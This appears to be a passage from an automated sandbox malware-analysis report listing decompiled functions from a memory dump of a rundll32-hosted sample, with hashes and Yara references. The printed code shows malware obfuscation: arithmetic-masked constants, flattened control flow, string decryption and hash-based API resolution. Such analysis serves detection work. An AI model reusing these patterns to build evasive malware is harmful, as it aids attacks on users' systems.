Instruction Fuzzy Hash: BF2120B6D0020EEBCF14CFA5DA4A8EEFBB5EB44304F248199D921B6260D3B44B05DF90

Uniqueness

Uniqueness Score: -1.00%

Function 029CF20D, Relevance: 1.3, Strings: 1, Instructions: 61
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029CF20D() {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _t79;

				_v36 = _v36 & 0x00000000;
				_v44 = 0xee8f96;
				_v40 = 0xfc961c;
				_v28 = 0x30da05;
				_t79 = 0x6c;
				_v28 = _v28 * 0xa;
				_v28 = _v28 ^ 0x01eeaedb;
				_v12 = 0xa0cdbe;
				_v12 = _v12 + 0xffff013d;
				_v12 = _v12 << 7;
				_v12 = _v12 ^ 0xbb441b3d;
				_v12 = _v12 ^ 0xf4a8d84f;
				_v8 = 0x1bd22c;
				_v8 = _v8 + 0x908a;
				_v8 = _v8 >> 2;
				_v8 = _v8 / _t79;
				_v8 = _v8 ^ 0x000acfd0;
				_v24 = 0x212886;
				_v24 = _v24 << 0xe;
				_v24 = _v24 >> 1;
				_v24 = _v24 ^ 0x2514eb9d;
				_v20 = 0xb94345;
				_v20 = _v20 + 0x1578;
				_v20 = _v20 ^ 0xb40d23c9;
				_v20 = _v20 | 0x4f31470c;
				_v20 = _v20 ^ 0xffb91ede;
				_v16 = 0x78198f;
				_v16 = _v16 << 8;
				_v16 = _v16 ^ 0xd86d1997;
				_v16 = _v16 * 0x3c;
				_v16 = _v16 ^ 0x9b552a33;
				_v32 = 0x584750;
				_v32 = _v32 * 0x57;
				_v32 = _v32 ^ 0x1e0048b0;
				E029C5FF7(_v28, _v12, _v8,  *((intOrPtr*)( *0x29e5be0 + 0x70)));
				return E029CF699(_v24,  *((intOrPtr*)( *0x29e5be0 + 8)), _v20, _v16, _v32);
			}

0x029cf213
0x029cf219
0x029cf220
0x029cf227
0x029cf234
0x029cf235
0x029cf238
0x029cf23f
0x029cf246
0x029cf24d
0x029cf251
0x029cf258
0x029cf25f
0x029cf266
0x029cf26d
0x029cf276
0x029cf279
0x029cf280
0x029cf287
0x029cf28b
0x029cf28e
0x029cf295
0x029cf29c
0x029cf2a3
0x029cf2aa
0x029cf2b1
0x029cf2b8
0x029cf2bf
0x029cf2c3
0x029cf2ce
0x029cf2d1
0x029cf2d8
0x029cf2e3
0x029cf2e6
0x029cf2fe
0x029cf323

Strings

PGX, xrefs: 029CF2D8

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID: PGX
API String ID: 0-1232467878
Opcode ID: 1598e143a61b45963d78cb8ebeb770939064e56ac79ad0693d2892879d365fad
Instruction ID: 326116ba54d9d79657bde48f3510334d63544d5d30dca3e76596bfb266132122
Opcode Fuzzy Hash: 1598e143a61b45963d78cb8ebeb770939064e56ac79ad0693d2892879d365fad
Instruction Fuzzy Hash: B231DFB1D0020EEBCF08DFE1D54A4AEFBB2BB40308F608598D122BA260D7B45B55DF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E9F38C0, Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.620854066.000000006E9F1000.00000020.00020000.sdmp, Offset: 6E9F0000, based on PE: true

Associated: 00000003.00000002.620850451.000000006E9F0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620870962.000000006EA1A000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.620898940.000000006EA4D000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.620903588.000000006EA4F000.00000008.00020000.sdmp Download File
Associated: 00000003.00000002.620907578.000000006EA50000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6e9f0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0371a2ef73ea76ed81de0743449202f9745cedda538390b1d47f3852342f75e4
Instruction ID: 084b97240ae30b8ac20370b28b22538f4cb38564e580f9a525f9e147d2c8ee91
Opcode Fuzzy Hash: 0371a2ef73ea76ed81de0743449202f9745cedda538390b1d47f3852342f75e4
Instruction Fuzzy Hash: AE021831B187158FD305DE79C49422AB3E6AFDA300F51CB2EE845A7354E774DC828B82

Uniqueness

Uniqueness Score: -1.00%

Function 029C6125, Relevance: .1, Instructions: 144
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E029C6125(void* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				void* _t161;
				void* _t165;
				signed int _t167;
				signed int _t168;
				signed int _t169;
				signed int _t170;
				signed int _t171;
				intOrPtr* _t191;
				intOrPtr _t192;
				void* _t193;

				_v8 = 0x3151ca;
				_t165 = __ecx;
				_v8 = _v8 | 0x79ff6f9d;
				_t191 =  *0x29e5bd0 + 0x230;
				_v8 = _v8 >> 7;
				_t167 = 0x6d;
				_v8 = _v8 * 0x2a;
				_v8 = _v8 ^ 0x2807d5d6;
				_v36 = 0x6103fc;
				_v36 = _v36 * 0x1c;
				_v36 = _v36 >> 0xc;
				_v36 = _v36 ^ 0x00003c1a;
				_v32 = 0xeb8a8f;
				_v32 = _v32 / _t167;
				_t168 = 0x47;
				_v32 = _v32 * 0x19;
				_v32 = _v32 ^ 0x003cdd16;
				_v28 = 0x83be36;
				_v28 = _v28 + 0xabe8;
				_v28 = _v28 << 1;
				_v28 = _v28 ^ 0x01050b8d;
				_v24 = 0xede8d2;
				_v24 = _v24 + 0x20a2;
				_v24 = _v24 ^ 0x05ad3c7a;
				_v24 = _v24 ^ 0x054dbc79;
				_v52 = 0x64bbcd;
				_v52 = _v52 + 0xffff828d;
				_v52 = _v52 ^ 0x006098d2;
				_v48 = 0x304d87;
				_v48 = _v48 | 0xb9a39bbe;
				_v48 = _v48 ^ 0xb9b93072;
				_v12 = 0xffdaf;
				_v12 = _v12 / _t168;
				_v12 = _v12 + 0xffff05d8;
				_v12 = _v12 + 0x4d4d;
				_v12 = _v12 ^ 0xfff54878;
				_v60 = 0x5543dd;
				_v60 = _v60 + 0xfffff35e;
				_v60 = _v60 ^ 0x005fc969;
				_v56 = 0xc764fd;
				_v56 = _v56 ^ 0x5a43a560;
				_v56 = _v56 ^ 0x5a82419c;
				_v40 = 0x33db2b;
				_v40 = _v40 << 0xb;
				_v40 = _v40 + 0xffff9724;
				_v40 = _v40 ^ 0x9edbf711;
				_v44 = 0x7e3bbf;
				_t169 = 0x21;
				_v44 = _v44 / _t169;
				_v44 = _v44 | 0xa2bfb55b;
				_v44 = _v44 ^ 0xa2ba52f8;
				_v64 = 0xd17229;
				_v64 = _v64 + 0xffff4a3f;
				_v64 = _v64 ^ 0x00d958e4;
				_v20 = 0x4f0195;
				_v20 = _v20 << 8;
				_v20 = _v20 << 4;
				_v20 = _v20 >> 0xb;
				_v20 = _v20 ^ 0x001366ba;
				_v16 = 0xdce7ae;
				_t170 = 0x31;
				_v16 = _v16 / _t170;
				_v16 = _v16 << 9;
				_t171 = 0x5b;
				_v16 = _v16 / _t171;
				_v16 = _v16 ^ 0x001c1d06;
				while(1) {
					_t192 =  *_t191;
					if(_t192 == 0) {
						break;
					}
					if( *((intOrPtr*)(_t192 + 0x40)) == 0) {
						L4:
						 *_t191 =  *((intOrPtr*)(_t192 + 0x2c));
						_t161 = E029CF699(_v44, _t192, _v64, _v20, _v16);
						_t193 = _t193 + 0xc;
					} else {
						_t161 = E029E37B6(_v36, _v32, _v28, _v24,  *((intOrPtr*)(_t192 + 0x54)), _t165);
						_t193 = _t193 + 0x10;
						if(_t161 != _v8) {
							_t146 = _t192 + 0x2c; // 0x9bf832b
							_t191 = _t146;
						} else {
							 *((intOrPtr*)(_t192 + 0x3c))( *((intOrPtr*)(_t192 + 0x40)), 0, 0);
							E029CFA7D(_v52, _v48,  *((intOrPtr*)(_t192 + 0x40)), _v12);
							E029D9038(_v60, _v56,  *((intOrPtr*)(_t192 + 0x54)), _v40);
							_t193 = _t193 + 0x10;
							goto L4;
						}
					}
				}
				return _t161;
			}

0x029c6136
0x029c613d
0x029c613f
0x029c6146
0x029c614c
0x029c6156
0x029c6159
0x029c615c
0x029c6163
0x029c616e
0x029c6171
0x029c6175
0x029c617c
0x029c618a
0x029c6191
0x029c6194
0x029c6197
0x029c619e
0x029c61a5
0x029c61ac
0x029c61af
0x029c61b6
0x029c61bd
0x029c61c4
0x029c61cb
0x029c61d2
0x029c61d9
0x029c61e0
0x029c61e7
0x029c61ee
0x029c61f5
0x029c61fc
0x029c620a
0x029c620d
0x029c6214
0x029c621b
0x029c6222
0x029c6229
0x029c6230
0x029c6237
0x029c623e
0x029c6245
0x029c624c
0x029c6253
0x029c6257
0x029c625e
0x029c6265
0x029c626f
0x029c6272
0x029c6275
0x029c627c
0x029c6283
0x029c628a
0x029c6291
0x029c6298
0x029c629f
0x029c62a3
0x029c62a7
0x029c62ab
0x029c62b4
0x029c62c0
0x029c62c5
0x029c62ca
0x029c62d1
0x029c62d4
0x029c62d7
0x029c634d
0x029c634d
0x029c6351
0x00000000
0x00000000
0x029c62e4
0x029c6332
0x029c633d
0x029c6345
0x029c634a
0x029c62e6
0x029c62f6
0x029c62fb
0x029c6301
0x029c635a
0x029c635a
0x029c6303
0x029c630a
0x029c6319
0x029c632a
0x029c632f
0x00000000
0x029c632f
0x029c6301
0x029c62e4
0x029c6359

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78214c0e7366541f41e21b3b3fd0965a81f36a39fc188c7deb4ea6647e5ad88f
Instruction ID: d6178bf30c1d0c1ea9e97b20290552c0cfda3eaba47606990a8f80b490c8dbf1
Opcode Fuzzy Hash: 78214c0e7366541f41e21b3b3fd0965a81f36a39fc188c7deb4ea6647e5ad88f
Instruction Fuzzy Hash: F26132B1D00209EBDF09CFA5D9895EEFBB2FB88314F208059E511B6260D7B51A55CF54

Uniqueness

Uniqueness Score: -1.00%

Function 029C5166, Relevance: .1, Instructions: 113
COMMONCrypto

Download Yara Rule

C-Code - Quality: 84%

			E029C5166(void* __ecx, intOrPtr* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, intOrPtr _a16) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* _t63;
				signed int _t77;
				signed int _t80;
				signed int _t81;
				void* _t84;
				void* _t97;
				intOrPtr* _t99;
				intOrPtr _t100;

				_push(_a16);
				_t99 = __edx;
				_push(_a12);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E029C8002(_t63);
				_v12 = 0xee3798;
				_t100 = 0;
				_v8 = 0;
				_v4 = 0;
				_v20 = 0x2909a7;
				_t84 = 0x27fccb4;
				_v20 = _v20 + 0xffff8ee4;
				_v20 = _v20 ^ 0x0029feab;
				_v32 = 0xd94f55;
				_v32 = _v32 + 0x6897;
				_t80 = 0x50;
				_v32 = _v32 * 0x79;
				_v32 = _v32 ^ 0x66e8791c;
				_v16 = 0x730bf6;
				_v16 = _v16 + 0xffffea3d;
				_v16 = _v16 ^ 0x007102d4;
				_v36 = 0x280e97;
				_v36 = _v36 * 9;
				_v36 = _v36 << 7;
				_v36 = _v36 / _t80;
				_v36 = _v36 ^ 0x0245af8e;
				_v24 = 0x617bd0;
				_v24 = _v24 ^ 0x22f3501e;
				_v24 = _v24 ^ 0x648812d4;
				_v24 = _v24 ^ 0x461bb5b9;
				_v28 = 0x17c7f4;
				_t81 = 0x78;
				_v28 = _v28 / _t81;
				_v28 = _v28 * 0x52;
				_v28 = _v28 ^ 0x00169667;
				do {
					while(_t84 != 0x27fccb4) {
						if(_t84 == 0x6d70040) {
							if(E029CFBEF(_t99) != 0) {
								_t100 = 1;
							} else {
								_t84 = 0xeca96a1;
								continue;
							}
						} else {
							if(_t84 == 0x90f1877) {
								_t77 = E029CC69B(_a12);
								asm("sbb ecx, ecx");
								_t84 = ( ~_t77 & 0xfac223ae) + 0xc14dc92;
								continue;
							} else {
								if(_t84 == 0xc14dc92) {
									E029CF699(_v16,  *0x29e5be0, _v36, _v24, _v28);
								} else {
									if(_t84 != 0xeca96a1) {
										goto L11;
									} else {
										E029CF20D();
										_t84 = 0xc14dc92;
										continue;
									}
								}
							}
						}
						L15:
						return _t100;
					}
					_push(_t84);
					_t97 = 0x78;
					 *0x29e5be0 = E029D6F53(_t97);
					_t84 = 0x90f1877;
					L11:
				} while (_t84 != 0xffd4d8f);
				goto L15;
			}

0x029c516d
0x029c5171
0x029c5173
0x029c5177
0x029c517b
0x029c517f
0x029c5180
0x029c5181
0x029c5186
0x029c518e
0x029c5190
0x029c5197
0x029c519d
0x029c51a5
0x029c51aa
0x029c51b7
0x029c51bf
0x029c51c7
0x029c51d6
0x029c51d9
0x029c51dd
0x029c51e5
0x029c51ed
0x029c51f5
0x029c51fd
0x029c520a
0x029c520e
0x029c521b
0x029c521f
0x029c5227
0x029c522f
0x029c5237
0x029c523f
0x029c5247
0x029c5253
0x029c525b
0x029c5264
0x029c5268
0x029c5270
0x029c5270
0x029c527e
0x029c52bb
0x029c5309
0x029c52bd
0x029c52bd
0x00000000
0x029c52bd
0x029c5280
0x029c5286
0x029c529d
0x029c52a6
0x029c52ae
0x00000000
0x029c5288
0x029c528a
0x029c52fd
0x029c528c
0x029c528e
0x00000000
0x029c5290
0x029c5290
0x029c5295
0x00000000
0x029c5295
0x029c528e
0x029c528a
0x029c5286
0x029c530b
0x029c5313
0x029c5313
0x029c52c9
0x029c52cc
0x029c52d3
0x029c52d8
0x029c52dd
0x029c52dd
0x00000000

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5d50ecd44e2106a2204cc98df26d1a075e903abf745b43959cc5c0db5665b65
Instruction ID: 388c02364a214e39e828d945575dde4fe8c34c9a496161555e0054e38b5546b6
Opcode Fuzzy Hash: e5d50ecd44e2106a2204cc98df26d1a075e903abf745b43959cc5c0db5665b65
Instruction Fuzzy Hash: 09418CB160C3418BCB58CF24D59542FBBE6FBC4748F654A1EF186A6260D771DA48CB83

Uniqueness

Uniqueness Score: -1.00%

Function 029DE478, Relevance: .1, Instructions: 99
COMMONCrypto

Download Yara Rule

C-Code - Quality: 83%

			E029DE478(void* __edx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				void* _v64;
				intOrPtr _v68;
				void* _t95;
				void* _t108;

				_t100 = _a12;
				_push(_a12);
				_push(_a8);
				_v52 = 0x104;
				_push(_a4);
				_push(__edx);
				_push(0x104);
				E029C8002(0x104);
				_v68 = 0xa03a30;
				asm("stosd");
				_t108 = 0;
				asm("stosd");
				asm("stosd");
				_v16 = 0xc61b1;
				_v16 = _v16 + 0xaf4b;
				_v16 = _v16 << 7;
				_v16 = _v16 ^ 0x06886e00;
				_v36 = 0x5d0365;
				_v36 = _v36 + 0xffff146b;
				_v36 = _v36 ^ 0x005c946d;
				_v32 = 0xf42332;
				_v32 = _v32 | 0x80be110f;
				_v32 = _v32 ^ 0x80fcce0a;
				_v12 = 0xd02014;
				_v12 = _v12 >> 0xa;
				_v12 = _v12 | 0x345a38f6;
				_v12 = _v12 ^ 0x34562288;
				_v44 = 0x2648d0;
				_v44 = _v44 ^ 0xe4d00488;
				_v44 = _v44 ^ 0xe4f28596;
				_v40 = 0xb87960;
				_v40 = _v40 >> 7;
				_v40 = _v40 ^ 0x00016033;
				_v8 = 0x18c25a;
				_v8 = _v8 + 0xffff8271;
				_v8 = _v8 >> 7;
				_v8 = _v8 ^ 0xb5c508b0;
				_v8 = _v8 ^ 0xb5c2499e;
				_v20 = 0xd4d8a9;
				_v20 = _v20 | 0x2cc6b042;
				_v20 = _v20 << 0xe;
				_v20 = _v20 ^ 0xbe376f52;
				_v28 = 0xb17db6;
				_v28 = _v28 << 0xf;
				_v28 = _v28 + 0x8db1;
				_v28 = _v28 ^ 0xbed6d91e;
				_v24 = 0xca8615;
				_v24 = _v24 + 0x87b6;
				_v24 = _v24 + 0x5168;
				_v24 = _v24 ^ 0x00c76c6f;
				_v48 = 0x9606fa;
				_v48 = _v48 * 0x2b;
				_v48 = _v48 ^ 0x19346772;
				_t95 = E029D5AB8(_a12, _t100, _t100, _v16);
				_t107 = _t95;
				if(_t95 != 0) {
					_t108 = E029CDEFF(_v44,  &_v52, __edx, _v40, _t100, _t107, _v8, _v20);
					E029D9038(_v28, _v24, _t107, _v48);
				}
				return _t108;
			}

0x029de47e
0x029de489
0x029de48a
0x029de48f
0x029de492
0x029de495
0x029de496
0x029de497
0x029de49c
0x029de4ab
0x029de4ac
0x029de4ae
0x029de4af
0x029de4b0
0x029de4b7
0x029de4be
0x029de4c2
0x029de4c9
0x029de4d0
0x029de4d7
0x029de4de
0x029de4e5
0x029de4ec
0x029de4f3
0x029de4fa
0x029de4fe
0x029de505
0x029de50c
0x029de513
0x029de51a
0x029de521
0x029de528
0x029de52c
0x029de533
0x029de53a
0x029de541
0x029de545
0x029de54c
0x029de553
0x029de55a
0x029de561
0x029de565
0x029de56c
0x029de573
0x029de577
0x029de57e
0x029de585
0x029de58c
0x029de593
0x029de59a
0x029de5a1
0x029de5ac
0x029de5af
0x029de5c4
0x029de5c9
0x029de5d0
0x029de5ef
0x029de5f5
0x029de5fa
0x029de605

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 2bfff7d9ea87315d2f47e02ce14cbbc917a7c56cea2bdd36bcaae92a0ea6c560
Instruction ID: 93f9f8c0d04047847dc049ec39cc38cf30ca15f741c46dae12f7ffcec82cc91d
Opcode Fuzzy Hash: 2bfff7d9ea87315d2f47e02ce14cbbc917a7c56cea2bdd36bcaae92a0ea6c560
Instruction Fuzzy Hash: 584102B1C0021DABCF45DFE4C88A8EEBBB5FF48358F608548D521B6210D3B54A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 029E0AD3, Relevance: .1, Instructions: 90
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E029E0AD3(void* __ecx, void* __edx, void* __eflags) {
				void* _t39;
				signed int _t42;
				short* _t58;
				signed int _t59;
				signed int _t65;
				unsigned int _t66;
				unsigned int _t67;
				short* _t71;
				signed int* _t72;
				signed int* _t73;
				signed int* _t74;
				unsigned int _t76;
				void* _t82;
				signed int _t84;
				void* _t85;
				void* _t86;
				void* _t87;

				_t74 =  *(_t86 + 0x2c);
				_push(_t74);
				_push(__edx);
				E029C8002(_t39);
				 *(_t86 + 0x34) =  *(_t86 + 0x34) & 0x00000000;
				_t72 =  &(_t74[1]);
				 *((intOrPtr*)(_t86 + 0x28)) = 0x69c8b;
				 *(_t86 + 0x2c) = 0xde1591;
				 *((intOrPtr*)(_t86 + 0x30)) = 0x759a50;
				 *(_t86 + 0x1c) = 0x9648c4;
				 *(_t86 + 0x1c) =  *(_t86 + 0x1c) ^ 0x1b43ba07;
				 *(_t86 + 0x1c) =  *(_t86 + 0x1c) ^ 0x1bdbd063;
				 *(_t86 + 0x3c) = 0x98047e;
				 *(_t86 + 0x3c) =  *(_t86 + 0x3c) + 0xbc8b;
				 *(_t86 + 0x3c) =  *(_t86 + 0x3c) * 0x5a;
				 *(_t86 + 0x3c) =  *(_t86 + 0x3c) ^ 0x35b53ed9;
				_t42 =  *_t74;
				_t73 =  &(_t72[1]);
				_t84 =  *_t72 ^ _t42;
				 *(_t86 + 0x20) = _t42;
				 *(_t86 + 0x24) = _t84;
				_t22 = _t84 + 1; // 0x272d0e0
				_t76 =  !=  ? (_t22 & 0xfffffffc) + 4 : _t22;
				_t87 = _t86 + 8;
				_t58 = E029D6F53(_t76 + _t76);
				 *((intOrPtr*)(_t87 + 0x34)) = _t58;
				if(_t58 != 0) {
					_t71 = _t58;
					_t82 =  >  ? 0 :  &(_t73[_t76 >> 2]) - _t73 + 3 >> 2;
					if(_t82 != 0) {
						_t59 =  *(_t87 + 0x14);
						_t85 = 0;
						do {
							_t65 =  *_t73;
							_t73 =  &(_t73[1]);
							_t66 = _t65 ^ _t59;
							 *_t71 = _t66 & 0x000000ff;
							_t71 = _t71 + 8;
							 *((short*)(_t71 - 6)) = _t66 >> 0x00000008 & 0x000000ff;
							_t67 = _t66 >> 0x10;
							_t85 = _t85 + 1;
							 *((short*)(_t71 - 4)) = _t67 & 0x000000ff;
							 *((short*)(_t71 - 2)) = _t67 >> 0x00000008 & 0x000000ff;
						} while (_t85 < _t82);
						_t58 =  *((intOrPtr*)(_t87 + 0x30));
						_t84 =  *(_t87 + 0x18);
					}
					 *((short*)(_t58 + _t84 * 2)) = 0;
				}
				return _t58;
			}

0x029e0ad9
0x029e0ade
0x029e0adf
0x029e0ae1
0x029e0ae6
0x029e0aeb
0x029e0aee
0x029e0af6
0x029e0afe
0x029e0b06
0x029e0b0e
0x029e0b16
0x029e0b1e
0x029e0b26
0x029e0b33
0x029e0b37
0x029e0b3f
0x029e0b43
0x029e0b46
0x029e0b48
0x029e0b4c
0x029e0b50
0x029e0b60
0x029e0b6b
0x029e0b76
0x029e0b78
0x029e0b7f
0x029e0b86
0x029e0b97
0x029e0b9c
0x029e0b9e
0x029e0ba2
0x029e0ba4
0x029e0ba4
0x029e0ba6
0x029e0ba9
0x029e0bae
0x029e0bb6
0x029e0bbc
0x029e0bc0
0x029e0bc9
0x029e0bca
0x029e0bd1
0x029e0bd5
0x029e0bd9
0x029e0bdd
0x029e0bdd
0x029e0be3
0x029e0be3
0x029e0bf0

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b3e161025cf39e36972315aed953f1e7f03994f3cfd2c7513eb2989332c000
Instruction ID: a98855451b0e6cb0792a3bb6a760bc5273281e00abb2fd058a2e04c892614b8a
Opcode Fuzzy Hash: 21b3e161025cf39e36972315aed953f1e7f03994f3cfd2c7513eb2989332c000
Instruction Fuzzy Hash: E9317A72A183119FC750DF29C48055AF7E0FF88324F819A2DE89A97250E7B4E909CF92

Uniqueness

Uniqueness Score: -1.00%

Function 029CF4A5, Relevance: .1, Instructions: 85
COMMONCrypto

Download Yara Rule

C-Code - Quality: 57%

			E029CF4A5(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				void* _t86;
				intOrPtr* _t87;
				signed int _t90;
				signed int _t91;
				intOrPtr _t104;

				_v20 = 0x7ca91c;
				_v20 = _v20 >> 5;
				_v20 = _v20 << 0x10;
				_v20 = _v20 ^ 0xe5446c9e;
				_v8 = 0x8747af;
				_v8 = _v8 ^ 0x69933f42;
				_t90 = 0x6f;
				_v8 = _v8 * 0x5e;
				_v8 = _v8 + 0x2419;
				_v8 = _v8 ^ 0x9580e667;
				_v24 = 0x8a0979;
				_v24 = _v24 << 6;
				_v24 = _v24 + 0xffffe578;
				_v24 = _v24 ^ 0x228a77d8;
				_v12 = 0x779d7f;
				_v12 = _v12 + 0x30c7;
				_v12 = _v12 >> 0xf;
				_t104 = _a4;
				_v12 = _v12 * 0x17;
				_v12 = _v12 ^ 0x000745fc;
				_v28 = 0xa2df0a;
				_v28 = _v28 + 0xc110;
				_v28 = _v28 ^ 0x00ac9c6c;
				_v36 = 0x123dd6;
				_t91 = 0x3e;
				_v36 = _v36 / _t90;
				_v36 = _v36 ^ 0x0004ec95;
				_v32 = 0xa763b3;
				_push(0);
				_v32 = _v32 / _t91;
				_v32 = _v32 ^ 0x000c0eb9;
				_v16 = 0x939e87;
				_v16 = _v16 << 0xb;
				_push(1);
				_v16 = _v16 * 0x6a;
				_v16 = _v16 << 0xb;
				_v16 = _v16 ^ 0xf9895dca;
				_push( *((intOrPtr*)(_t104 + 0x40)));
				if( *((intOrPtr*)(_t104 + 0x3c))() != 0) {
					_push(0x29c1230);
					_t86 = E029C54C0(_v20, _v8);
					_t106 = _t86;
					_push(_t86);
					_push(_v28);
					_push( *((intOrPtr*)(_t104 + 0x40)));
					_t87 = E029D7634(_v24, _v12);
					if(_t87 != 0) {
						 *_t87();
					}
					E029D2EED(_v36, _v32, _v16, _t106);
				}
				return 0;
			}

0x029cf4ab
0x029cf4b4
0x029cf4b8
0x029cf4bc
0x029cf4c3
0x029cf4ca
0x029cf4d8
0x029cf4db
0x029cf4de
0x029cf4e5
0x029cf4ec
0x029cf4f3
0x029cf4f7
0x029cf4fe
0x029cf505
0x029cf50c
0x029cf513
0x029cf51b
0x029cf51e
0x029cf521
0x029cf528
0x029cf52f
0x029cf536
0x029cf53d
0x029cf549
0x029cf54a
0x029cf54f
0x029cf556
0x029cf562
0x029cf564
0x029cf567
0x029cf56e
0x029cf575
0x029cf57d
0x029cf57f
0x029cf582
0x029cf586
0x029cf58d
0x029cf595
0x029cf59e
0x029cf5a3
0x029cf5a8
0x029cf5aa
0x029cf5ab
0x029cf5b1
0x029cf5b7
0x029cf5c1
0x029cf5c3
0x029cf5c3
0x029cf5cf
0x029cf5d6
0x029cf5dd

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3fbfbb7e546d89d2d4d32f9833b50d33c28753ebb77a63d4981b81a5541b55e
Instruction ID: af2fa88bfaa23a3610e7cd8a378af46956792e461cb52efbab19824425500c7d
Opcode Fuzzy Hash: c3fbfbb7e546d89d2d4d32f9833b50d33c28753ebb77a63d4981b81a5541b55e
Instruction Fuzzy Hash: 17312071D0021AAFEB08CFE1C94A9EEBBB6FB40708F208059C511BA250D7B96A15CF90

Uniqueness

Uniqueness Score: -1.00%

Function 029CF984, Relevance: .1, Instructions: 85
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E029CF984(void* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a20, intOrPtr _a24, intOrPtr _a32, intOrPtr _a36, signed int _a40, intOrPtr _a44, intOrPtr _a48) {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr* _t69;
				signed int _t73;
				signed int _t74;
				signed int _t75;
				void* _t83;
				signed short _t84;

				_t84 = _a40;
				_t83 = __edx;
				E029C8002(_t84 & 0x0000ffff);
				_v32 = 0x89590c;
				_v28 = 0x19bfb9;
				_v24 = 0;
				_v20 = 0;
				_v16 = 0x57a16d;
				_t73 = 0x57;
				_v16 = _v16 / _t73;
				_v16 = _v16 ^ 0x000ce3da;
				_v12 = 0x6bfb15;
				_v12 = _v12 ^ 0x259f587a;
				_v12 = _v12 ^ 0x25f85210;
				_v8 = 0x7be2b7;
				_v8 = _v8 + 0xffffc784;
				_v8 = _v8 >> 6;
				_v8 = _v8 ^ 0x000767fe;
				_a40 = 0x7c94b8;
				_t74 = 0x2c;
				_a40 = _a40 / _t74;
				_t75 = 0x45;
				_a40 = _a40 / _t75;
				_a40 = _a40 >> 2;
				_a40 = _a40 ^ 0x000d3d89;
				_t69 = E029DE399(_t75, _a40 % _t75, _t75, 0x32d82e44, 0x1a5, 0x2a4c7c35);
				return  *_t69(_t83, _a24, _t84, 0, 0, _a32, 0, 0, __ecx, __edx, 0, 0, _a12, 0, _a20, _a24, 0, _a32, _a36, _t84 & 0x0000ffff, _a44, _a48);
			}

0x029cf98c
0x029cf998
0x029cf9b3
0x029cf9b8
0x029cf9c1
0x029cf9c8
0x029cf9cb
0x029cf9ce
0x029cf9da
0x029cf9df
0x029cf9e4
0x029cf9eb
0x029cf9f2
0x029cf9f9
0x029cfa00
0x029cfa07
0x029cfa0e
0x029cfa12
0x029cfa19
0x029cfa23
0x029cfa28
0x029cfa30
0x029cfa36
0x029cfa39
0x029cfa3d
0x029cfa60
0x029cfa7c

Memory Dump Source

Source File: 00000003.00000002.620619819.00000000029C0000.00000040.00000010.sdmp, Offset: 029C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_29c0000_rundll32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
